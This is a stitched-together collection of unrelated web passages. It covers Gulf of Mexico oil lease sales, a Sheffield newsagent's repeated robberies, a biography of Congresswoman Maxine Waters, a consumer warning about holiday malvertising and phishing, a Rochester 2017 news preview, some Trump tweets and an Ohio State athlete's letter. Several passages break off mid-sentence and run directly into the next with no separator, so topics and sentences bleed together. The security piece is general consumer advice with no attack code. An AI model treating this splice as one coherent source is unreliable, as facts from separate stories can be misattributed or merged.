The sale comes six months after the government opened up 21 million acres — an area about the size of South Carolina — in the western Gulf of Mexico and received $337 million in winning bids for over a million acres off the coast of Texas.
The April 20, 2010 explosion on the BP-leased Deepwater Horizon drilling rig killed 11 workers, blackened beaches in five US states and devastated the Gulf Coast’s tourism and fishing industries.
It took 87 days to cap BP’s runaway well 5,000 feet (1,500 meters) below the surface that spewed some 4.9 million barrels (206 million gallons) of oil into the Gulf of Mexico.
From PhysOrg: http://phys.org/news/2012-06-areas-gulf-mexico-drilling.htmlA SHOPKEEPER robbed by a hammer-wielding thug just six months after being stabbed in a previous raid believes he is Britain’s unluckiest newsagent.
Michael Wiles, aged 58, has been subjected to more than six violent robberies in a decade. His 80-year-old father died after a row with yobs outside the shop in 2007.
But Michael, who has run his shop in Hillsborough for 36 years, today vowed to continue trading - and pledged robbers will not force him out of business.
“I must be the unluckiest newsagent in Britain but you have to keep battling on,” he told The Star. “They will not drive me out. It’s my livelihood, it’s what keeps a roof over my head.”
Michael needed his head gluing back together after the hammer attack at his shop on Langsett Road. The incident was captured on CCTV and police are investigating.
A thug with a scarf pulled over his face, and a masked accomplice keeping watch at the door, barged past Michael and forced his way behind the counter. Michael was trying to stop the robber grabbing cash from the till when the raider produced a hammer and struck out five times.
The pair fled empty-handed after Michael was injured.
“They must think I am an easy target working in a small shop on my own,” Michael said.
“Only six months ago I was stabbed. But the law is on the side of offenders - they can touch you but you can’t touch them.”
Six months ago Michael was knifed in his stomach, shoulder and ribs by a robber who snarled, ‘I’m going to stab you and murder you’. After a struggle the robber fled - stealing just £20 and leaving his victim bleeding.
In 2010 a robber used a tent peg to try to gouge out Michael’s eyes as he defended his shop from a raid.
In 2002 he was hospitalised after being struck over the head with a wrench by a robber.
And Michael says he suffers regular abuse and lesser assaults, especially from youngsters to whom he refuses to sell cigarettes.
But the incident in the shop that still affects him most is the death of his father - 80-year-old Lewis Wiles.
Lewis fell to the ground, hitting his head on the pavement, in a row with young yobs outside.
A 20-year-old man was arrested on suspicion of murder but no charges were ever brought.
Anyone with information about the hammer attack should call South Yorkshire Police on 101 or Crimestoppers on 0800 555 111.
- April 201 |
1993) and 35th district (1993–2013). She is the most senior of the twelve black women currently serving in Congress; she chaired the Congressional Black Caucus from 1997 to 1999.[1]
Before becoming a U.S. Representative, Waters served in the California State Assembly, to which she was first elected in 1976. As an Assemblywoman, she advocated divestment from South Africa's apartheid regime. In Congress, she had been an outspoken opponent of the Iraq War and of Republican Presidents George H. W. Bush, George W. Bush and Donald Trump.
Early life and education [ edit ]
Waters was born in 1938 in St. Louis, Missouri, the daughter of Remus Carr and Velma Lee (née Moore).[2][3] The fifth out of thirteen children, Waters was raised by her single mother once her father left the family when Maxine was two.[4] She graduated from Vashon High School in St. Louis, Missouri before moving with her family to Los Angeles, California in 1961. She worked in a garment factory and as a telephone operator before being hired as an assistant teacher with the Head Start program in Watts in 1966.[4] Waters later enrolled at Los Angeles State College (now California State University, Los Angeles), where she received a bachelor's degree in sociology in 1971.[5]
Early political career [ edit ]
In 1973, Waters went to work as chief deputy to City Councilman David S. Cunningham, Jr., then was entered the California State Assembly in 1976. While in the Assembly, she worked for the divestment of state pension funds from any businesses active in South Africa, a country then operating under the policy of apartheid, and helped pass legislation within the guidelines of the divestment campaign's Sullivan Principles.[6] She ascended to the position of Democratic Caucus Chair for the Assembly.[7]
U.S. House of Representatives [ edit ]
Elections [ edit ]
Upon the retirement of Augustus F. Hawkins in 1990, Waters was elected to the United States House of Representatives for California's 29th congressional district with over 79% of the popular vote. She has been reelected consistently from this district, renumbered as the 35th District in 1992 and as the 43rd in 2012, with at least 70 percent of the vote.
Waters has represented large parts of south-central Los Angeles and the Los Angeles coastal communities of Westchester and Playa Del Rey, as well as the cities of Torrance, Gardena, Hawthorne, Inglewood and Lawndale.
Tenure [ edit ]
On July 29, 1994, Waters came to public attention when she repeatedly interrupted a speech by Peter King (R-NY). The presiding officer, Carrie Meek (D-FL), classed her behavior as "unruly and turbulent", and threatened to have the Sergeant at Arms present her with the Mace of the House of Representatives (the equivalent of a formal warning to desist). As of 2017, this is the most recent instance of the mace being employed for a disciplinary purpose. Waters was eventually suspended from the House for the rest of the day. The conflict with King stemmed from the previous day, when they had both been present at a House Banking Committee hearing on the Whitewater controversy. Waters felt King's questioning of Maggie Williams (Hillary Clinton's chief of staff) was too harsh, and they subsequently exchanged hostile words.[8][9][10]
Waters was chair of the Congressional Black Caucus from 1997 to 1998. In 2005 Waters testified at the U.S. House Committee on Education and the Workforce hearings on "Enforcement of Federal Anti-Fraud Laws in For-Profit Education", highlighting the American College of Medical Technology as a "problem school" in her district.[11] In 2006 she was involved in the debate over King Drew Medical Center. She criticized media coverage of the hospital and in 2006 Waters asked the Federal Communications Commission (FCC) to deny a waiver of the cross ownership ban, and hence license renewal for KTLA-TV, a station the Los Angeles Times owned. She said, "The Los Angeles Times has had an inordinate effect on public opinion and has used it to harm the local community in specific instances." She requested that the FCC force the paper to either sell its station or risk losing that station's broadcast rights.[12] According to Broadcasting & Cable, the challenges raised "the specter of costly legal battles to defend station holdings... At a minimum, defending against one would cost tens of thousands of dollars in lawyers' fees and probably delay license renewal about three months".[13] Waters' petition was ultimately unsuccessful.[14] As a Democratic representative in Congress, Waters was a superdelegate to the 2008 Democratic National Convention. She endorsed Democratic U.S. Senator Hillary Clinton for the party's nomination in late January 2008, granting the New York Senator nationally recognized support that some suggested would "make big waves."[15][16][17] Waters later switched her endorsement to U.S. Senator Barack Obama when his lead in the pledged delegate count became insurmountable on the final day of primary voting.[18] In 2009 Waters had a confrontation with fellow Democratic congressman Dave Obey (WI) over an earmark in the United States House Committee on Appropriations. The funding request was for a public school employment training center in Los Angeles that was named after her.[19] In 2011, Waters voted against the National Defense Authorization Act for Fiscal Year 2012, related to a controversial provision that allows the government and the military to detain American citizens and others indefinitely without trial.[20]
With the retirement of Barney Frank (D-MA) in 2012, Waters became the ranking member of the House Financial Services Committee.[21][22] On July 24, 2013, Waters voted in favor of Amendment 100 included in H.R. 2397 Department of Defense Appropriations Act of 2014.[23] The amendment targeted domestic surveillance activities, specifically that of the National Security Agency, and if ultimately passed would have limited the flexibility of the NSA's interpretation of the law to collect sweeping data on U.S. citizens.[24] Amendment 100 was rejected 217–205. On March 27, 2014, Waters introduced a discussion draft of the Housing Opportunities Move the Economy Forward Act of 2014 known as the HOME Forward Act of 2014.[25] A key provision of the bill includes the collection of 10 basis points for "every dollar outstanding mortgages collateralizing covered securities" estimated to be approximately $5 billion a year. These funds would be directed to three funds that support affordable housing initiatives, with 75% going to the National Housing trust fund. The National Housing Trust Fund will then provide block grants to states to be used primarily to build, preserve, rehabilitate, and operate rental housing that is affordable to the lowest income households, and groups including seniors, disabled persons and low income workers. The National Housing Trust was enacted in 2008, but has yet to be funded.[26] In 2009, Waters co-sponsored Rep. John Conyers' bill calling for reparations for slavery to be paid to black Americans.[27]
Rodney King verdict and Los Angeles riots [ edit ]
When south-central Los Angeles erupted in riots—in which 63 were killed—after the Rodney King verdict in 1992, Waters gained national attention "when she helped deliver relief supplies in Watts and demanded the resumption of vital services".[28][29] Waters described the riots as a rebellion, saying "If you call it a riot it sounds like it was just a bunch of crazy people who went out and did bad things for no reason. I maintain it was somewhat understandable, if not acceptable."[30] In her view, the violence was "a spontaneous reaction to a lot of injustice." In regards to the looting of Korean-owned stores by local black residents, she said in an interview with KABC radio host Michael Jackson: "There were mothers who took this as an opportunity to take some milk, to take some bread, to take some shoes... They are not crooks."[31]
CIA [ edit ]
Following a 1996 San Jose Mercury News article alleging the complicity of the Central Intelligence Agency (CIA) in the Los Angeles crack epidemic of the 1980s, Waters called for an investigation. Waters questioned whether "U.S.-government paid or organized operatives smuggled, transported and sold it to American citizens."[32] The United States Department of Justice (DOJ) announced it had failed to find any evidence to support the original story.[33] The Los Angeles Times also concluded after its own extensive investigation that the allegations were not supported by evidence.[34] The author of the original story, Gary Webb, was eventually transferred to a different beat and removed from investigative reporting, before his death in 2004.[35] Webb was found in his apartment with two bullet holes in his head. His death was declared a suicide. Following these post-publication investigations, Waters read into the Congressional Record a memorandum of understanding in which former President Ronald Reagan's CIA director rejected any duty by the CIA to report illegal narcotics trafficking to the Department of Justice.[36][37]
Allegations of corruption [ edit ]
According to Chuck Neubauer and Ted Rohrlich writing in the Los Angeles Times in 2004, Maxine Waters' relatives had made more than $1 million during the preceding eight years by doing business with companies, candidates and causes that Waters had helped. They claimed she and her husband helped a company get government bond business, and her daughter Karen Waters and son Edward Waters have profited from her connections. Waters replied that "They do their business and I do mine."[38] Liberal watchdog group Citizens for Responsibility and Ethics in Washington named Waters to its list of corrupt members of Congress in its 2005, 2006, 2009 and 2011 reports.[39][40] Citizens Against Government Waste named her the June 2009 Porker of the Month due to her intention to obtain an earmark for the Maxine Waters Employment Preparation Center.[41][42]
Waters came under investigation for ethics violations and was accused by a House panel of at least one ethics violation related to her efforts to help OneUnited Bank receive federal aid.[43] Waters' husband is a stockholder and former director of OneUnited Bank and the bank's executives were major contributors to her campaigns. In September 2008, Waters arranged meetings between U.S. Treasury Department officials and OneUnited Bank, so that the bank could plead for federal cash. It had been heavily invested in Freddie Mac and Fannie Mae, and its capital was "all but wiped out" after the U.S. government took them over. The bank received $12 million in Troubled Asset Relief Program (TARP) money.[44][45] The matter was investigated by the House Ethics Committee,[46][47] which charged her with violations of the House's ethics rules in 2010.[48][49][50][51] On September 21, 2012, the House Ethics Committee completed a report clearing Waters of all ethics charges after nearly three years of investigation.[52]
"Reclaiming my time" [ edit ]
In July 2017, during a House Financial Services Committee meeting, Waters questioned United States Secretary of the Treasury Steven Mnuchin. At several points during the questioning, Waters used the phrase "reclaiming my time" when Mnuchin did not directly address the questions Waters had asked him. The video of the interaction between Waters and Mnuchin became viral on social media, and the phrase became attached to her criticisms of Trump.[53]
Louis Farrakhan [ edit ]
In early 2018, Waters was among the members of Congress the Republican Jewish Coalition called on to resign due to her connections with Nation of Islam leader Louis Farrakhan.[54][55] Between 1993 and 2006, Waters repeatedly met with and had publicity photos taken with Farrakhan.[56]
Bombing attempt [ edit ]
Packages that contained pipe bombs were sent to two of Waters's offices on October 24, 2018. The packages were intercepted and are being investigated by the FBI. No one was injured. Similar packages were sent to several other Democratic leaders and to CNN.[57][58]
Committee assignments [ edit ]
Previously, she had served on the Committee on the Judiciary.
Caucus memberships [ edit ]
Positions [ edit ]
Barack Obama [ edit ]
In August 2011, Waters criticized President Barack Obama, saying that he was insufficiently supportive of the black community. Waters referred to the high unemployment rate for African Americans (which was hovering around 15.9 percent at the time).[60] At a Congressional Black Caucus town-hall meeting on jobs in Detroit, Waters said that African American members of Congress were reluctant to criticize or place public pressure on Obama because "y'all love the President".[61]
In October 2011, Waters engaged in a public dispute with Obama, arguing that he paid more attention to the swing voters of the Iowa primaries than to equal numbers of (geographically dispersed) black voters. In response, Obama argued that it was time to “stop complaining, stop grumbling, stop crying” and get back to working with him.[62][63][64]
Castro and Cuba [ edit ]
Waters has visited Cuba a number of times, praising[when?] Fidel Castro's moves towards democracy. She also criticized previous U.S. efforts to overthrow him and demanded an end to the U.S. trade embargo.[65] In 1998 Waters wrote a letter to Castro citing the 1960s and 1970s as "a sad and shameful chapter of our history", and thanked Castro for providing help to those who needed to "flee political persecution".[66]
In 1998, Waters wrote an open letter to Fidel Castro asking him not to extradite convicted terrorist Assata Shakur from Cuba, where she had sought asylum. Waters argued that much of the Black community regarded her conviction as false.[67][68][69] She had earlier supported a Republican bill to extradite Shakur, who was referred to by her former name, Joanne Chesimard. In 1999, Waters called on President Bill Clinton to return six-year-old Elian Gonzales to Cuba; Elian had survived an escape from Cuba, during which his mother had drowned, and was taken in by U.S. relatives.[66]
Donald Trump [ edit ]
Waters has called Trump "a bully, an egotistical maniac, a liar and someone who did not need to be President"[40] and "the most deplorable person I've ever met in my life".[70] In a 2017 appearance on MSNBC's All In with Chris Hayes, Waters said President Donald Trump's advisors who have ties to Russia or have oil and gas interests there are "a bunch of scumbags".[71]
Waters began to call for the impeachment of Trump shortly after he took office. In February 2017, Waters said that Trump was "leading himself" to possible impeachment because of his conflicts of interests and that he was creating "chaos and division".[72] In September 2017, while giving a euology at Dick Gregory's funeral, she said that she was "cleaning out the White House" and that "when I get through with Donald Trump, he's going to wish he had been impeached."[73] In October 2017, she said the U.S. Congress had enough evidence against Trump to 'be moving on impeachment', in reference to Russian collusion allegations during the 2016 Presidential election, and that Trump "has openly obstructed justice in front of our face."[74]
Waters texted an allegation on Twitter regarding the Trump White House, "Trump has made it clear—it is now the White Supremacists' House",[75] linking President Trump to the violence that erupted at a white nationalist protest rally in Charlottesville, Virginia on August 12, 2017. Following President Trump's 2018 State of the Union address Waters released a video response wherein she addressed what most of the members of the Congressional Black Caucus see as the racist viewpoint and actions of Trump saying, "He claims that he's bringing people together but make no mistake, he is a dangerous, unprincipled, divisive, and shameful racist."[76] Trump later retaliated against her impeachment views, calling her a "low IQ individual".[77]
On April 24, 2018, while attending the Time 100 Gala, Waters urged Trump to resign, "So that I won't have to keep up this fight of your having to be impeached because I don't think you deserve to be there. Just get out."[78]
On June 23, 2018, following an incident in which White House Press Secretary Sarah Huckabee Sanders was asked to leave a restaurant, Waters urged attendees at a rally in Los Angeles to confront and harass Trump administration officials who show up in public places: "...tell them they're not welcome anymore, anywhere."[79] In response, House Democratic leader Nancy Pelosi posted comments on Twitter reported to be a condemnation of Waters' remarks: "Trump's daily lack of civility has provoked responses that are predictable but unacceptable."[80]
George H. W. Bush [ edit ]
In July 1992, Waters labeled President George H. W. Bush "a racist" who has "polarized the races in this country". Previously, Waters had suggested that Bush has used race to advance his policies.[81]
Haiti [ edit ]
Waters opposed the 2004 coup d'état in Haiti and criticized U.S. involvement.[82] Following the coup, Waters led a delegation along with TransAfrica Forum founder Randall Robinson and Jamaican member of parliament Sharon Hay-Webster to meet with Haitian President Jean-Bertrand Aristide and bring him to Jamaica, where he would remain until May.[83][84][85]
International lending [ edit ]
In August 2008, Waters introduced HR 6796, or the "Stop Very Unscrupulous Loan Transfers from Underprivileged countries from Rich Exploitive Funds Act," also known as the Stop VULTURE Funds Act. This would limit the ability of investors in sovereign debt to use U.S. courts to enforce those instruments against a defaulting country. The bill died in committee.[86]
Iraq War [ edit ]
Waters voted against the Iraq War Resolution, the 2002 resolution that funded and granted Congressional approval to possible military action against the regime of Saddam Hussein.[87] She has remained a consistent critic of the subsequent war and has supported an immediate troop withdrawal from Iraq. Waters asserted in 2007 that President George W. Bush was trying to "set [Congress] up" by continually requesting funds for an "occupation" that is "draining" the country of capital, soldier's lives, and other resources. In particular, she argued that the very economic resources being "wasted" in Iraq were those that might provide universal health care or fully fund President Bush's own "No Child Left Behind" education bill. Additionally, Waters, representing a congressional district whose median income falls far below the national average, argued that patriotism alone had not been the sole driving force for those U.S. service personnel serving in Iraq. Rather, "many of them needed jobs, they needed resources, they needed money, so they're there".[88] In a subsequent floor speech, Waters told her colleagues that Congress, lacking the votes to override the "inevitable Bush veto on any Iraq-related legislation," needed to "better [challenge] the administration's false rhetoric about the Iraq war" and "educate our constituents [about] the connection between the problems in Pakistan, Turkey, and Iran with the problems we have created in Iraq".[89] A few months prior to these speeches Waters became a cosponsor of the House resolution to impeach Vice President Dick Cheney for making allegedly "false statements" about the war.[90]
Mandatory minimum sentences [ edit ]
Waters opposes mandatory minimum sentences.[91]
Tea Party movement [ edit ]
Waters has been very critical of the Tea Party movement. On August 20, 2011, while at a town hall discussing some of the displeasure that supporters of President Obama have had with the Congressional Black Caucus not supporting the president, Waters stated, "This is a tough game. You can't be intimidated. You can't be frightened. And as far as I'm concerned, the 'tea party' can go straight to Hell... and I intend to help them get there."[92][93]
Personal life [ edit ]
Maxine Waters' second husband, Sid Williams, played professional football in the NFL[94] and is a former U.S. Ambassador to the Bahamas under the Clinton Administration.[95]
Other achievements [ edit ]
See also [ edit ]
References [ edit ]The Colorado Bureau of Investigation is warning shoppers and web users to watch out for malicious advertising scams targeting user’s banking information during this Christmas holiday.
Christmas is finally here, a time of the year when everybody is chasing or being chased be a hot deal. We’re all looking forward to making a kill either by buying at ridiculously low prices or making astronomical sales if you are on the other end of the Christmas equation.
Well, amid the fanfare and impulse buying that comes with Christmas, there comes the online fraudster who are too very active during holidays. They are quietly sitting in a dark corner of a Point of sale (POS) terminal or in a public Wi-Fi of your favorite shopping mall, ready to pounce on your banking information and swipe clean your account.
The losses, both financial and emotional resulting from online scams each year are immeasurable yet shoppers keep falling into phishing traps year in year out. In the last few weeks, the FBI and US-CERT have been beating drums warning users against an increasing number of Holiday scams possibly to save a few from being devoured financial this holiday. Now, the Colorado Bureau of Investigation (CBI) is the latest agency to warn shoppers and web surfers about malicious advertising scams (Malvertising) designed to steal their banking information.
Malvertising is not a new cyber threat, it is a decade-old hackers’ tool that pays-off handsomely. It all starts with a marketing ad or a promotion coupon that promises huge discounts on “limited stock”, something like 85% discounts. Clicking on the ad, downloading the coupon or hovering over the ad, automatically downloads a data stealing malware into your computer system. The attacker remotely controls the malware to collect saved passwords, usernames and hopefully get your banking details such as Credit card numbers and PIN.
Malvertising scams are popular during holidays when many shoppers are searching for favorable prices. The US Computer Emergency Readiness Team (US-Cert) advises internet users “to remain vigilant when browsing online this holiday season.” The agency warned users against unrealistic marketing Ads, shipping advertisements, E-gifts and shipping notifications that may contain malicious links.
Unlike typical hackers who use brute force to break into computer systems, phishing masters employ soft social engineering skills to lure the users into giving out their usernames and password. Most common scams employ bogus emails allegedly sent from your service provider such as you bank indicating a problems in your account.
“In this scam, you are directed to follow a link or call the number provided in the message to update your account or correct the problem,” says the FBI, adding that clicking on the link will direct the user to a spoofed website designed to steal their username and password.
Identifying a phishing scam is easy, it only requires one to be a little bit keener and pay attention to fine details while traversing the World Wide Web. In case of Malvertising, the greatest weapon is our rational judgment. Always think twice before clicking on unrealistic discounts on limited stock from unknown vendors.
In case of email scams, an anti-spam software would go a long way in helping you steer away from Phishing masters and their antics. An anti spam software marks all phishing emails as spam and tucks them away in a spam folder ensuring they never get into your inbox. So unless you access the spam folder, you will never get to click on malicious phishing links.
Notably, Bitdefender ranks PayPal, eBay, Yahoo, Facebook and LinkedIn as the most abused brands by online scammers’ with a majority of phishing attacks launched through these social media platforms. Usually, scammers take advantage of a popular event or software release from the company to catch the attention of service subscribers.
As a rule of thumb, always be suspicious about emails from your banks, online payment provider or other service providers such as Gmail, yahoo or Hotmail. Such emails should be taken with a pinch of salt and if possible call the service provider to verify the source of the email. Most often than not, your bank will never ask you to update your details over the internet.CLOSE Uber? Bike sharing? A new Bills coach? All these things and more may be in the playing cards for 2017. Olivia Lopez
Competing proposals for Parcel 56 downtown. (Photo: Provided images)
The year 2016 threw a few knuckle balls and opened the door to new kinds of discussions, both political and social. It's hard to say with certainty what 2017 holds in store, but there are some things we know will happen, based on our reporting in 2016. In honor of the new year, here are 17 of them.
Politics in play
Lovely Warren (Photo: Provided photo)
Will Mayor Lovely Warren be re-elected? Politics will have a far more local flavor in 2017. All eyes will be on Rochester's mayoral race as incumbent Lovely Warren comes to the end of her first term in office. She is expected to face a challenge from County Legislator James Sheppard, the former police chief, in a contest that would pit the two competing factions of the local Democratic Party against each other. But there may be a third contestant in the mix. Former TV reporter Rachel Barnhart, who lost a fiercely fought primary for a state Assembly seat, has formed an exploratory committee to help her decide whether to throw her hat in the ring, too.
The other political race sure to garner attention this year will be the one for Monroe County sheriff. Republican Patrick O'Flynn was first elected to the post in 2001 and hasn't faced a significant challenge in three re-election campaigns.
New Yorkers will also vote in November on whether to hold a state constitutional convention.
— Sean Lahman
Casino to open
Buy Photo Lago Executive Vice-President and General Manager Jeff Babinski of Seneca Falls tours the site of the del Lago Casino & Resort in Tyre, NY. The casino is slated to open in February of 2017. (Photo: KATE MELTON)
Del Lago Resort & Casino to begin operating on Feb. 1. Rochester-area mall mogul Thomas Wilmot has waited a long time — 4,598 days since his plans for a downtown casino first hit the cover of the Democrat and Chronicle — and on Feb. 1 his $440 million del Lago Resort & Casino will open with the promise of 1,800 new jobs and projections of roughly 3 million guests during its first year of operation.
The grandiose project in the Seneca County town of Tyre has faced opposition from tribal casinos and the operators of the Finger Lakes Gaming & Racetrack, who fear its economic pull, while receiving the backing of government leaders who praise its economic impact and creation of jobs.
— Todd Clausen
Higher education changes
RIT President Bill Destler is retiring at the end of the 2016--2017 school year. (Photo: Provided)
A new leader at RIT and a new campus for MCC. The next president of Rochester Institute of Technology is expected to be selected next month. RIT President Bill Destler’s announcement last May that he would be stepping down at the end of this school year set in motion a selection process for his successor. A 24-member RIT Presidential Search Committee was created and intends to announce a selection in January, according to RIT spokesman Bob Finnerty. The final selection is made by RIT’s board of trustees, and the new president is expected to start July 1.
A rendering of MCC's new downtown campus that is expected to open by the fall semester. (Photo: LaBella Associates)
By the beginning of the next school year, Monroe Community College’s downtown campus is slated to open at its new site, a complex of reconstructed, connected buildings that were once part of Eastman Kodak Co.’s corporate headquarters, at the corner of Morrie Silver Way and State Street, near Frontier Field. Moving will occur over the summer. MCC will initially use about 255,000 square feet at the new site, leaving about 300,000 square feet of undeveloped space available for use under the Start-Up NY program or by other interested parties, said MCC spokeswoman Cynthia Cooper Mapes.
— James Goodman
Big anniversary ahead
Buy Photo Voters lined up on Election Day to place "I voted" stickers on the grave of Susan B. Anthony at Mt. Hope Cemetery in Rochester. (Photo: MAX SCHULTE/@maxrocphoto/, STAFF FILE PHOTO)
Get ready for the 100th anniversary of women voting in New York. Three years before the passage of the 19th Amendment to the Constitution, the right of women in New York to vote was officially recognized. And 2017 marks the 100th anniversary of that recognition. To honor the historic landmark, Gov. Andrew Cuomo in August created a Women’s Suffrage 100th Anniversary Commemoration Commission, headed by Lt. Gov. Kathy Hochul. That commission aims to host a series of events statewide over the coming year to celebrate the suffrage movement and commemorate events such as the Seneca Falls Convention, the first women’s rights convention, which was held in Seneca Falls in the summer of 1848. It’s only fitting that Rochester, home to Susan B. Anthony, and the National Women’s Hall of Fame in Seneca County should be included in any celebration of suffrage. More information should become available in coming months.
— Meaghan McDermott
Courts and justice
Buy Photo Leaving the Monroe County Jail, Colin Rideout (L-R facing) his brother Alexander, Paul Tucci and Laura Rideout after being arraigned for the murder of Craig Rideout. Craig Rideout is the ex-husband of Laura and the father of the boys. Tucci is the boyfriend of Laura. (Photo: Jamie Germano/@jgermano1/File photo 2016)
Rideout and Stagles trials to be argued. A pair of high-profile trials are likely to garner national attention, both involving victims allegedly killed by members of their own family. Four people will stand trial in June for their alleged role in the murder of 50-year-old Craig Rideout: his two sons, his estranged wife and her lover.
The father of 3-year-old Brook Stagles faces charges in her death, as does his girlfriend. Prosecutors say the girl was beaten to death, her body covered in bruises from head to toe.
Plus, the fate of City Court Judge Leticia Astacio is likely to be resolved. She was removed from her judicial duties after violating the terms of her DWI conviction.
— Sean Lahman
Downtown development
A rendering of Strong Museum of Play's vision for the old Inner Loop area. (Photo: CJS Architects)
Clarification on Parcel 5 and Inner Loop replacement on the way. Taking the turn into 2017 means keeping an eye on important projects that could help reshape newly ascendant downtown Rochester. Perhaps first among those is answering the question of what’s going to happen on Midtown’s Parcel 5. City staffers have been working since October in a confidential process vetting which of four developer proposals for the site would be allowed to move forward: an open space-based minimalist project, a performing arts center, a mixed-use commercial and condominium concept or carving the site up into smaller slots. During a luncheon in December, Mayor Lovely Warren said her administration would be releasing details soon.
Also of significant importance: the ongoing redevelopment of the former Inner Loop. Warren has recommended three projects there go forward: a massive expansion of the Strong National Museum of Play that would include commercial and residential space, and a “Neighborhood of Play” theme with new street fixtures, decorative sidewalks and sculptures, and two other mixed-use apartment buildings. Negotiations over the projects are ongoing and any land sales would need approval from City Council.
— Meaghan McDermott
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Other city projects
Progress expected on La Marketa and "Parcel 10." It’s been more than three decades in the making, but 2017 could be the year Rochester’s La Marketa urban renewal district plans finally come to fruition. Nearly three years ago, Rochester had a developer on board for its Hispanic-themed shopping center, but instead of moving forward, opted to head back to the drawing board. And, on Dec. 21, the city did just that, issuing a Request for Proposals for a 1.7-acre site representing several city-owned parcels along “La Avenida” — North Clinton Avenue between Sullivan and Hoeltzer streets in the El Camino neighborhood. According to city documents, the concept calls for the site to act as a southern gateway to the North Clinton commercial corridor, and would create an urban neighborhood focused center of activity with open space, market areas for small businesses, and a mix of enterprises that would celebrate the area’s heritage. An information session on the request will be held at 6 p.m. Jan. 12 at the Salvation Army Temple Corps Facility, 915 N. Clinton Ave. The submission deadline for proposals is March 3.
Also on the radar outside downtown, is an upcoming push by the city to look toward development of land Mayor Warren has referred to as “Parcel 10,” a chunk of property at Exchange Boulevard and Court Street that borders the Genesee River. She has said that development there could spur along a complete rethinking of Rochester’s waterfront, and could help anchor a new loop of revitalization spurred by a refurbished Riverside Convention Center and Blue Cross Arena.
— Meaghan McDermott
Tune to entertainment
Buy Photo Large attendance at Trombone Shorty & Orleans Avenue at the City of Rochester Midtown Stage during the Xerox Rochester International Jazz Festival. (Photo: CARLOS ORTIZ/@CFORTIZ_DANDC/STAFF PHOTOGRAPHER, STAFF PHOTOGRAPHER)
Lots of good music vibes in our future. Our summer onslaught of festivals includes two distinctive giants, one well established, one emerging. The Xerox Rochester International Jazz Festival’s 16th season is June 23 through July 1. The complete lineup will be announced in March, but we already know Sheryl Crow and Mavis Staples will be headliners at Kodak Hall at Eastman Theatre. The newly renamed KeyBank Rochester Fringe Festival’s diverse collection of music, comedy, plays, dance, puppets and outdoor acrobatics drew a record 67,000 people this fall. It’s set for Sept. 14 through 23.
The Blue Cross Arena has the pop band Maroon 5 on March 5, Christian hip-hop artist TobyMac March 11 and a likely sell-out in Neil Diamond’s 50th anniversary tour on June 4, while Constellation Brands-Marvin Sands Performing Arts Center has announced an early gem, the 40th anniversary tour of Tom Petty & The Heartbreakers on July 2. In the extreme crossover category, the Rochester Philharmonic Orchestra presents The Music of David Bowie on April 7 at Kodak Center for the Performing Arts, while Rochester City Ballet offers Spectrum (A Pink Floyd Ballet)from April 20 through 23 at the Auditorium Theatre. The RPO concludes its season with an opera: Puccini’s La Bohème on May 25 and 27. On the club scene, we’ll be watching to see whether Anthology, East Ave., continues to evolve into a key big player; it has G Love & Special Sauce on Jan. 22. And watch for the resurrection of Water Street Music Hall, currently on a renovation retreat.
— Jeff Spevak
Suburban development
Buy Photo Workers prepare the new Henrietta Recreation Center for its opening. (Photo: Max Schulte Staff file photo)
New Whole Foods, Henrietta Rec Center and a reinvigorated Marketplace Mall expected to open. Changes ahead in Rochester's suburbs mostly concern development, development and more development. Henrietta will celebrate the grand opening of its brand-new $9 million recreation center on Calkins Road. Meanwhile, over in Brighton, residents are still waiting to see whether concerns about traffic tangles on Monroe Avenue can be sufficiently addressed in order to let a project that would include the area’s first Whole Foods grocery store to move forward. Also in Henrietta, The Marketplace Mall will continue its transformation from standard suburban shopping mall to a top-tier outlet center. In Sweden, residents expect to see outdoors retailer Runnings open up in a vacant former Walmart on Lake Road in the spring, and in Greece, residents still await word on which big-box retailers are interested in a pair of competing developments on West Ridge Road between Elmgrove and Manitou roads.
— Meaghan McDermott
Monroe County improvements
Buy Photo A Jet Blue airlines plane lands at Greater Rochester International Airport on May 5, 2011. (Photo: Max Schulte Staff file photo)
Work on zoo and airport improvements will begin. A multi-year plan to expand and improve the Seneca Park Zoo will get underway in 2017, one of a number of Monroe County projects planned for the new year. Construction will begin on the zoo's African section, which is expanding to accommodate giraffes and rhinos. It's the first step in a master plan that won't be completed until 2026. At the airport, improvements will be made to roadways, boarding gates and concession areas. The county will also begin work to replace its 911 dispatch system.
— Sean Lahman
Food & drink expansion
Buy Photo Nick Wetherwax pours fresh batter into a donut machine at Duke's Donuts at the Public Market. (Photo: Jamie Germano/@jgermano1/Staff Photographer)
The Rochester restaurant scene will continue to grow. Many restaurants are already queued up to open in 2017. Some of the most noteworthy: Boxcar Donuts and Bitter Honey, in the same building just outside the Rochester Public Market’s Railroad Street entrance. Radio Social promises to have bowling, dining, cocktails and more under one roof near Artisan Works, but owner Dan Morgenstern is tight-lipped about details. Big news to some: We may even get a Chick-fil-A.
A kitchen incubator that will help aspiring entrepreneurs launch food businesses could help fuel this continued growth. The Rochester Downtown Development Corp. hopes to begin transforming the concourse level of The Metropolitan (formerly known as Chase Tower) in the third quarter of 2017 and open by year's end.
The 111-year-old Rochester Public Market is expected to complete its renovation |
. What did these geniuses expect when they put men & women together? — Donald J. Trump (@realDonaldTrump) May 7, 2013
The Generals and top military brass never wanted a mixer but were forced to do it by very dumb politicians who wanted to be politically C! — Donald J. Trump (@realDonaldTrump) May 7, 2013
2015
Donald Trump fired former Cosby Show actress Keshia Knight Pulliam from The Apprentice after she refused to call Bill Cosby and ask for money for a challenge in the show.
Pulliam later defended Cosby, saying, "So I can't really speak to what transpired [between Cosby and his alleged victims], I can only speak to the man I know. And he was an amazing, philanthropic, inspirational guy who always treated me very well."
Cover: FlickrOhio State's student newspaper The Lantern received a letter to the editor from none other than Deshaun Thomas. His message? Essentially "I'm surrounded by winners and they need love, too."
Thomas points out that while it's a privilege to play for Ohio State, there are plenty of other elite athletes in Buckeye sports that do not get the publicity of football and men's basketball.
I know that athletes in other sports that do not get much press coverage are also winning championships. Just two weekends ago, Logan Stieber won his second-consecutive national championship in his weight class in wrestling, and senior Marco Canevari marked the Scarlet and Gray’s single individual champion title in fencing by securing the gold medal in men’s epee on March 22. A day later, gymnasts Sarah Miller and Aly Marohn captured the Big Ten championship on the balance beam.
And then he closes like a champ.
All athletes at Ohio State work very hard at being the best they can be at their sport. I wish that all athletes could receive the attention that our football and basketball teams get. They all deserve to be celebrated. Deshaun Thomas
Third-year in sports management
